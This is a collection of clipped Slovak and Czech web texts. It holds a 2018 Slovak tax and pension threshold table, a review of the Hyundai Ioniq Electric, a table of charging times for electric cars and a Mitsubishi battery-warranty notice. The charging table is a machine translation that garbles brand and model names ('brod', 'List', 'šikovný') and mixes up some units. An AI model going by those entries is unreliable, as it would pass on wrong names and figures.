Daňový bonus (mesačný)	§ 52zd ods. 7 zákona č. 595/2003 Z. z.	Od 1.1.2018 do 31.12.2018	21,56
Daňový bonus (ročný)	§ 52zd ods. 7 zákona č. 595/2003 Z. z.	Od 1.1.2018 do 31.12.2018	258,72
Nezdaniteľná časť základu dane na daňovníka (ročná)	§ 11 ods. 2 písm. a) zákona č. 595/2003 Z. z.	Od 1.1.2018 do 31.12.2018	3830,02
Nezdaniteľná časť základu dane na daňovníka (mesačná)	§ 35 ods. 1 písm. b) zákona č. 595/2003 Z. z.	Od 1.1.2018 do 31.12.2018	319,16
Základ dane z príjmov fyzických osôb, po ktorého prekročení dochádza ku kráteniu ročnej nezdaniteľnej časti základu dane	§ 11 ods. 2 písm. b) zákona č. 595/2003 Z. z.	Od 1.1.2018 do 31.12.2018	19 948,00
Základ dane z príjmov fyzických osôb, po ktorého prekročení sa na túto časť základu dane uplatňuje 25 % sadzba dane (ročný)	§ 15 písm. a) bod 1b. zákona č. 595/2003 Z. z.	Od 1.1.2018 do 31.12.2018	35 268,06
Základ dane z príjmov fyzických osôb, po ktorého prekročení sa na túto časť základu dane uplatňuje 25 % sadzba dane (mesačný)	§ 35 ods. 2 zákona č. 595/2003 Z. z.	Od 1.1.2018 do 31.12.2018	2 939,01
Suma predčasného starobného dôchodku, ktorú musí poistenec dosiahnuť, aby mohol požiadať o predčasný starobný dôchodok (mesačná)	§ 67 ods. 1 písm. c) zákona č. 461/2003 Z. z.	Od 1.7.2017 do 30.6.2018	239,40
Suma minimálneho dôchodku (mesačná)	§ 82b ods. 1 písm. a) zákona č. 461/2003 Z. z.	Od 1.1.2018 do 31.12.2018	271,30
Základná nepostihnuteľná suma pri exekučných zrážkach (mesačná)	§ 1 ods. 1 nariadenia vlády Slovenskej republiky č. 268/2006 Z. z.	Od 1.7.2017 do 30.6.2018	199,48

Zdroj: Životné minimum od 1.7.2017 do 30.6.2018 – podnikajte.sk

Hyundai Ioniq Electric            ektrický unikát

04. 06. 20171

Hyundai slaví premiéru. Poprvé začíná na českém trhu prodávat ryzí elektromobil. Elektrický Ioniq je dražší než jeho hybridní sourozenci a nabídne reálný dojezd přes 200 kilometrů na jedno nabití, hezky zpracovaný interiér se solidním prostorem, dobrou výbavu a neotřelý vzhled. Jak se s ním v praxi jezdí, odhalí náš test.

Hyundai na český trh uvedl rodinu vozů Ioniq s alternativními pohony. Zatím má dva členy. Mild hybrid, který začíná na 700 tisících korunách, jsme otestovali dříve, na čistě elektrickou variantu, která vás vyjde minimálně na 859 tisíc korun, se podíváme dnes. Prostřední plug-in hybridní dorazí na český trh už tento měsíc.

Design a karoserie: jiný, ale stále elegantní

Designově nejodvážnější Hyundai dává tušit, že tady je něco jinak. Neobvykle působí šedá plastová výplň v masce tam, kde většinou bývají průduchy vzduchu pro chladič. A nejen kvůli tomu se za elektrickým Ioniqem otočí více lidí, než byste čekali. Přesto ale není auto nijak extravagantní a nepůsobí tak „divně“ jako například BMW i3 nebo Nissan Leaf. Hyundai se drží na konzervativním břehu kombinovaného s vkusnou elegancí a celkově se Ioniq povedl. Většině lidí se bude líbit, i když za srdce nechytí.

Hyundai Ioniq Electric – test

Technické parametry Hyundai Ioniq Electric

KOMPLETNÍ SPECIFIKACE

KONSTRUKCE	liftback, 4 470 × 1 820 × 1 450 mm, 1 495 kg
POHON	Elektřina, hnaná náprava: přední
VÝKON	120 koní, toč. moment: 295 Nm
BATERIE	28 kWh, konektory: Combo, Mennekes
SPOTŘEBA	Kombinovaná: 11,5 kWh / 100 km, dojezd: 280 km
INFOTAINMENT	8″ dotykový displej, Apple CarPlay, Android Auto
CENA	859 900 Kč

Zajímavostí je, že oproti hybridní verzi má čistý elektromobil jinou masku i grafiku zadních i předních světel. Ta jsou mimochodem bi-xenonová (u vyšší výbavy LED) a nechybí ani LED pro denní svícení i LED zadní světla. Pochlubit se může velmi slušným součinitelem aerodynamického odporu 0,24.

Velmi dobře vypadá svažující se střecha, kvůli ní si ale dozadu nesedne nikdo vyšší než 185 centimetrů. Zadní část svým pojetím s děleným zadním sklem připomíná Hondu Civic a působí neobvykle. K autu by se určitě hodily rozměrnější disky kol, přeci jen současné šestnáctky působí zejména vzadu malým dojmem. Jde však o speciální pneumatiky s nízkým valivým odporem a funkčnost zde dostala přednost před estetikou.

Rozměrově není Ioniq se svými 4,5 metry vůbec malé auto a vnějším i vnitřním prostorem se zařazuje někam mezi klasickou i30ku a i40ku. Představuje tak zajímavou alternativu k jiným elektromobilům a do značné míry se stává i unikátem na českém trhu. Elektromobil této velikosti tady totiž doposud chyběl. Buď si můžete pořídit spíše menší BMW i3, Nissan Leaf či elektrické „Béčko“ od Mercedesu, nebo pak až Teslu . Největší konkurencí ale bude e-Golf, který je však také menší.

Rozměrově není Ioniq se svými 4,5 metry vůbec malé auto.

Technika a výbava: ryze městský a rodinný elektromobil

Ioniq Electric je ryzí elektromobil. Žádný výfuk, rozvody, spalovací motor či spaliny, jen síla elektřiny tak, jak to máme na fDrive.cz rádi. Pod přední kapotou najdeme snadno přístupný synchronní elektromotor s výkonem 88 kW, tedy 120 koní. Na rozdíl od mnoha jiných výrobců ho Hyundai nijak neskrývá, na druhou stranu umístěním pod přední kapotu a nikoliv mezi nápravy přicházíme o možnost druhého úložného prostoru, na nějž jsme si zvykli u vozů Tesla. Výkon je menší, než mají povětšinou menší konkurenti, a na jízdních výkonech je to znát. Ioniq není žádný trhač asfaltu, na druhou stranu za to umí díky okamžitému nástupu maximálního točivého momentu 295 Nm pořádně vzít. Výkon elektromotoru přenáší ke kolům stálý redukční převod. Nejvyšší rychlost činí 165 kilometrů za hodinu, což na české silnice bohatě dostačuje, v Německu by vás to však mohlo omezovat. Na druhou stranu elektromobily nejsou žádné dálniční expresy a pokud byste chtěli uhánět rychlostí 200 km/h, procenta baterie by ubývala rychleji, než byste je rychlodobíjením dobili.

Nižší výkon se pozitivně podepisuje na výdrži 28kWh Li-Pol baterie uložené pod podlahou. Na baterii mimochodem dává výrobce záruku 8 let nebo 200 000 kilometrů. Na celý vůz pak Hyundai poskytuje záruku 5 let bez omezení ujetých kilometrů.

Elektrický Ioniq si můžete pořídit ve dvou úrovních výbavy – Future a Ultimate. Jak je u asijských automobilek zvykem, zapomeňte na složité konfigurátory, výbava je víceméně daná a příplatek je možný v podstatě jen za metalický lak a v případě výbavy Future si můžete připlatit za balíček Efficiency, který vás vyjde na 60 tisíc korun. A určitě bych ho doporučil, protože v rámci něj dostanete například zásuvku pro rychlodobíjení, nezávislé vytápění i klimatizování interiéru, předehřev baterií nebo LED světla. Tedy veskrze velmi užitečné věci. Zejména bez rychlonabíjení by provoz elektromobilu byl vcelku nepohodlný a určitě se vyplatí. V případě výbavy Ultimate už dostanete všechny tyto vymoženosti zdarma.

Hyundai vás peskuje hned a za vše.Jinak ale výbava není vůbec chudá, právě naopak. Hyundai si uvědomuje, že cenovka elektromobilu leží výrazně výše než u spalovacího vozu, a snaží se tak Ioniq vybavit co možná nejlépe. Sedačky kombinují kůži a textil a nepostrádají vyhřívání ani odvětrávání. Nechybí dvojice barevných displejů, podpora Android Auto a Apple CarPlay nebo třeba bezdrátové nabíjení telefonů. Nenajdete tu sice head-up displej, z asistenčních systémů je ale přítomno prakticky vše, od hlídání mrtvého úhlu přes autonomní nouzové brzdění před překážkou až po aktivní udržování auta v jízdním pruhu. Samozřejmostí je pak adaptivní tempomat nebo parkovací kamera, u které potěší detekce příčného pohybu. Obejít se naopak budete muset bez automatického parkování nebo vyparkování.

PŘEČTĚTE SI TAKÉ

Test Hyundai Ioniq Hybrid – Na první dobrou

Všechny systémy fungují velmi dobře, Ioniq se ale hodně naotravuje co se upozorňování týče. Stačí chvíli nedržet volant a ozve se hlasité pípání. Žádné decentní upozornění se nekoná, Hyundai vás peskuje hned a za vše. Hodně citlivé je i hlídání mrtvého úhlu, kdy auto hlasitě pípá, i když je souběžné auto ještě daleko za vámi nebo naopak už před vámi.

Zhodnocení: vyplňuje mezeru na trhu

Hyundai Ioniq EV vyplňuje mezeru na českém trhu. Poměrně velký hatchback s kvalitním zpracováním i výbavou, příjemným designem i provozem se zatím stává naprostým unikátem. Hyundai nabízí velmi slušnou výbavu a úsporný provoz s dobrým dojezdem přes 200 kilometrů. Ano, mohl by být pořád připojen on-line, mít méně otravné notifikace a design menu infotainmentu by si zasloužil update, to jsou ale jen drobné mušky na jinak povedeném autě, které je příjemným městským a příměstským společníkem pro běžné ježdění. Ioniq vás bude těšit nadstandardní komfortní výbavou, tichým chodem a snadným ovládáním.

Ioniq vás bude těšit nadstandardní komfortní výbavou, tichým chodem a snadným ovládáním.

Pokud hledáte solidně velký rodinný elektromobil, který se vejde pod milion a nemáte ambice na sportovní ježdění, určitě si zařaďte Ioniq do svého hledáčku. Cena se ale samozřejmě pohybuje výše než u porovnatelných spalovacích aut a připlatíte si i oproti hybridním verzím. Základní verze Future ryze elektrického Ioniqa vás vyjde na 860 tisíc korun. Pokud si připlatíte 140 tisíc, dostanete verzi Ultimate s kompletní výbavou včetně nezávislého tepelného čerpadla, LED světel nebo rychlodobíjení.

Konkurence

Největšího konkurenta určitě ztělesňuje Volkswagen e-Golf. Ten nabídne podobný vnitřní prostor i výbavu, navíc dostanete propracovanější on-line funkce a vzdálené ovládání. Vyjde ale zhruba o 150 tisíc korun dráž. Základ začíná na 960 tisících a pokud si do e-Golfu přidáte výbavu srovnatelnou s Ioniqem, jste zhruba o 200 tisíc korun výše než u verze Ioniq EV Ultimate.

Alternativou může být i BMW i3, které je sice výrazně výkonnější, ale i trochu menší a ve srovnatelné výbavě o něco dražší. Nabídne pak srovnatelný reálný dojezd 200 kilometrů. A rozhodně působí extravagantněji.

TESTHyundai Ioni

Zdroj: Test Hyundai Ioniq Electric – Elektrický unikát | fDrive.cz

Nabíjajte rýchlo, zostaňte flexibilné a nezávislé!

 

Pripravili sme súhrn všetkých príslušných elektrických vozidiel, ich dostupnú nabíjaciu kapacitu a kapacitu batérie, kde môžete vidieť, koľko času ušetríte za poplatok na nástennej krabici alebo ako ďaleko budete môcť jazdiť po nabití za hodina. Taktiež vám poskytneme odporúčanie pre nabíjanie vášho konkrétneho elektrického vozidla.

 

značka

Model auta

Doba nabíjania na skrini [hodiny] ¹

Doba nabíjania v domácom napájacom bode [hodiny] ¹  ²

Dosah po nabití na jednu hodinu na stenu [km] ¹

Nájdite si vhodnú skrinku na stenu

Kapacita batérie [kWh]

Kapacita nabíjania [kW]

Typ konektora

Spotreba energie[kWh / 100km]

Celková elektrická vzdialenosť dosiahla [km]

Informácie o nabíjaní špecifické pre váš automobil

audi

HM

A3 Sportback e-tron

2,5 h

4 h

32 km

8,8 kWh

3,7 kW

Typ 2

11,4 kWh

50 km

HM

Q7 e-tron quattro

2,5 h

6 h

35 km

17,3 kWh

7,2 kW

Typ 2

19,00 kWh

56 km

BMW

I3  (60 Ah)

5,5 | 4,5 | 3 h

8,5 h

25 | 35 | 55 km

18,8 kWh

3,7 | 4,6 | 7,43 kW

Typ 2

12,9 kWh

190 km

I3  (94 Ah)

8 | 3 h

12 h

25 | 80 km

27,2 kWh

3,7 | 11 kW

Typ 2

12,6 kWh

300 km

i8

2 h

3 h

30 km

7,1 kWh

3,7 kW

Typ 2

11,9 kWh

37 km

225xe Active Tourer

2 h

3 h

25 km

7,7 kWh

3,7 kW

Typ 2

11,9 kWh

41 km

330e Limuzína

2,5 h

3,5 h

20 km

7,6 kWh

3,7 kW

Typ 2

11,9 kWh

40 km

X5 xDrive40e

2,5 h

3,5 h

25 km

9,2 kWh

3,7 kW

Typ 2

15,3 kWh

31 km

CITROËN

Berlingo Electric

7,5 h

10 h

15 km

22,5 kWh

3,2 kW

Typ 1

17,7 kWh

170 km

C-ZERO

4 h

6,5 h

30 km

14,5 kWh

3,7 kW

Typ 1

12,6 kWh

150 km

Fisker

Karma

5,5 h

9 h

15 km

20 kWh

3,7 kW

Typ 1

20,6 kWh

81 km

brod

Focus Electric

6,5 | 5,5 | 4 h

10,5 h

25 | 30 | 40 km

23 kWh

3,7 | 4,6 | 6,63 kW

Typ 1

15,4 kWh

162 km

Kia

Soul EV

7,5 | 6 | 4,5 h

12 h

25 | 30 | 44 km

27 kWh

3,7 | 4,6 | 6,6 kW

Typ 1

14,7 kWh

212 km

Mercedes-Benz

Trieda B Sports Tourer B 250 e

8 | 3 h

12,5 h

20 | 65 km

28 kWh

3,7 | 11 kW

Typ 2

16,6 kWh

200 km

C-trieda C 350

2 h

3 h

nA

6,2 kWh

3,7 kW

Typ 2

nA

31 km

GLE 500 a 4Matic

3,5 h

4 h

nA

8,8 kWh

2,8 kW

Typ 2

nA

30 km

S 500 Plug-In Hybrid

3 h

4 h

25 km

8,7 kWh

3,7 kW

Typ 2

13,5 kWh

33 km

mitsubishi

i-MiEV

4,5 h

7 h

30 km

16 kWh

3,7 kW

Typ 1

12,5 kWh

160 km

Plug-in Hybrid Outlander

3,5 h

5,5 h

25 km

12 kWh

3,7 kW

Typ 1

13,4 kWh

50 km

NISSAN

List (24 kWh)

7 | 5,5 | 4 h

11 h

20 | 25 | 40 km

24 kWh

3,6 | 4,6 | 6,63 kW

Typ 1

15,0 kWh

199 km

List (30 kWh)

9 | 7 | 5 h

13,5 h

20 | 25 | 40 km

30 kWh

3,6 | 4,6 | 6,63 kW

Typ 1

15,0 kWh

250 km

E-NV200 EVALIA

7 | 5,5 | 4 h

11 h

15 | 25 | 35 km

24 kWh

3,3 | 4,6 | 6,63 kW

Typ 1

16,5 kWh

167 km

Opel

Ampera

4,5 h

7 h

nA

16 kWh

3,7 kW

Typ 1

nA

40 km

Ampera -e

nA

nA

150 km 50 kW za 30 min

60 kWh

7,4 | 50 kW

Typ 2

14,5 kWh

500 km

peugeot

iOn

4 h

6,5 h

30 km

14,5 kWh

3,7 kW

Typ 1

12,6 kWh

150 km

Partner Electric

7,5 h

10 h

15 km

22,5 kWh

3,2 kW

Typ 1

17,7 kWh

170 km

Porsche

Cayenne S E-Hybrid

3 | 2,5 | 1,5 h

5 h

15 | 20 | 35 km

10,8 kWh

3,6 | 4,6 | 7,2 kW

Typ 2

20,8 kWh

36 km

Panamera S E-Hybrid

3 h

4,5 h

20 km

9,4 kWh

3,6 kW

Typ 2

16,2 kWh

36 km

Renault

Fluence ZE

6 h

10 h

26 km

22 kWh

3,7 kW

Typ 2

14 kWh

185 km

Kangoo ZE (do roku 2017)

6 h

10 h

26 km

22 kWh

3,7 kW

Typ 2

14 kWh

170 km

Kangoo ZE 33

7,5 | 6 h

18 h

30 | 35 km

33 kWh

4,6 | 7 3 kW

Typ 2

15,2 kWh

270 km

Twizy

2,5 h

3,5 h

55 km

6,1 kWh

3,7 kW

Typ 2

6,3 kWh

100 km

ZOE R240

1,75 h

13,5 h

180 km

22 kWh

22 kW

Typ 2

13,3 kWh

240 km

ZOE R90 (ZE 40)

2,67 h

25 h

180 km

41 kWh

22 kW

Typ 2

13,3 kWh

403 km

ZOE Q90 (ZE 40)

2,67 h

31 h

165 km

41 kWh

22 kW

Typ 2

14,6 kWh

370 km

šikovný

Elektrický pohon fortwo

5,5 | 1 h

8 h

20 | 135 km

17,6 kWh

3,3 | 22 kW

Typ 2

3,3 kW: 15,1 kWh 22 kW: 16,3 kWh

145 km

tesla

Model S 70

7,5 | 4,5 h

31 h

40 | 65 km

70 kWh

11 | 16,5 kW

Typ 2

23,5 kWh

470 km

Model S 90

8,5 | 6 h

40 h

40 | 65 km

90 kWh

11 | 16,5 kW

Typ 2

23,5 kWh

550 km

Model X 75

7,5 | 5 h

34 h

40 | 65 km

75 kWh

11 | 16,5 kW

Typ 2

23,5 kWh

415 km

Model X 90

8,5 | 6 h

40 h

40 | 65 km

90 kWh

11 | 16,5 kW

Typ 2

23,5 kWh

485 km

Model 3

n. A.

n. A.

n. A.

n. A.

n. A.

n. A.

n. A.

345 km

toyota

Prius Plug-In Hybrid (do roku 2016)

1,5 h

2,5 h

nA

4,4 kWh

2,8 kW

Typ 1

5,2 kWh

25 km

Prius Plug-In Hybrid

2 h

3 h

25 km

8,8 kWh

3,7 kW

Typ 2

7,2 kWh

50 km

volkswagen

e-up!

5,5 h

8,5 h

30 km

18,7 kWh

3,6 kW

Typ 2

11,7 kWh

160 km

E-Golf (do roku 2016)

7 h

11 h

28 km

24 kWh

3,6 kW

Typ 2

12,7 kWh

190 km

e-Golf

5,33 h

17 h

54 km

35,8 kWh

7,2 kW

Typ 2

12,7 kWh

300 km

Golf GTE

2,5 h

4 h

15 km

8,7 kWh

3,6

Typ 2

nA

50 km

Passat Limuzína GTE

3 h

4 h

nA

9,9 kWh

3,6 kWh

Typ 2

nA

50 km

XL1

2 h | 1,5 h | 1 h

2 h

nA

5,5 kWh

3,6 kW

Typ 2

nA

50 km

volvo

C30 Elektrické

1,5 h

10,5 h

125 km

24 kWh

22 kW

Typ 2

17,5 kWh

163 km

V60 Plug-In Hybrid

3,5 h

4,5 h

16,5 km

12 kWh

3,6 kW

Typ 2

21,7 kWh

50 km

XC90 Plug-In Hybrid

2,5 h

4,5 h

15 km

9,2 kWh

3,6 kW

Typ 2

18,2 kWh

43 km

 

¹ Doby nabíjania sú zaokrúhlené vodiace body založené na predpoklade, že nabíjací proces nie je lineárny
² Referenčná hodnota: 2,3 kW (10, 230V) do domácej napájacej siete
³ V Nemecku je nabíjanie povolené len so špeciálnym povolením od prevádzkovateľa siete

Zdroj: Čas zhrnutia nabíjania

Reálne výsledky dokazujú, že batérie v elektroautách a hybridoch vydržia viac, ako sa predpokladalo.

Aj značka Mitsubishi rozšírila záruka na batériu pohonu modelu Outlander PHEV na 8 rokov alebo do najazdenia 160 000 km. Je to ďalší z krokov výrobcu, ktorý má za cieľ nielen zvýšenie časovej hodnoty samotného vozidla. Zároveň prináša ďalší dôkaz o kvalite a spoľahlivosti zdroja elektrickej energie, ktorá je pre pohon vozidla kľúčová.

Rozšírená záruka po novom zaručuje, že si batéria pohonu v priebehu prvých 8 rokov prevádzky, alebo do najazdenia 160 000 km udrží minimálne 70% svojej kapacity. V opačnom prípade batériu zákazníkovi bezplatne opravia, alebo vymenia. Zákazník tak získava ďalšiu istotu a nemusí sa obávať rýchleho opotrebenia batérie častým nabíjaním, prípadne jej finančne nákladnej výmeny.

Pôvodná záruka kryla iba poruchu trakčnej batérie a jej vnútorného príslušenstva, nie jej opotrebenie čiže zníženie jej kapacity v priebehu záručnej doby. Navyše záruka na funkčnosť a kapacitu batérie je teraz v prípade predaja ojazdeného vozidla prenositeľná aj na ďalšieho nového zákazníka.

Okrem týchto pozitívnych správ je dobrou správou pre ekologicky mysliacich vodičov aj to, že Mitsubishi Outlander PHEV je teraz dostupný aj v limitovanej edícii „100 ROKOV“ za zvýhodnenú cenu 36 900 EUR s DPH (po využití štátnej podpory vo výške 3 000 EUR na plug-in hybridné vozidlá).

Hlavná charakteristika Mitsubishi Outlander PHEV:

• Konštrukcia 5-miestneho SUV vozidla umožňuje využitie pohonu všetkých kolies s 2 elektromotormi bez použitia pozdĺžneho spojovacieho hnacieho hriadeľa (kardanu)
• Každý elektromotor (výkon 60 kW) poháňa jednu nápravu
• Benzínový motor 2.0 MIVEC 4B11 má výkon 89 kW, generátor poháňaný spaľovacím motorom je s výkonom 70 kW
• Lítium-iónové batérie pohonu majú kapacitu 12 kWh
• Unikátne riešenie hybridného modelu so stálym pohonom 4WD (S-AWC)
• Plnohodnotný batožinový priestor a vysoká variabilita interiéru
• Možnosť ťahania prívesu až 1 500 kg

Zdroj: Mitsubishi rozširuje záruku na batériu modelu Outlander PHEV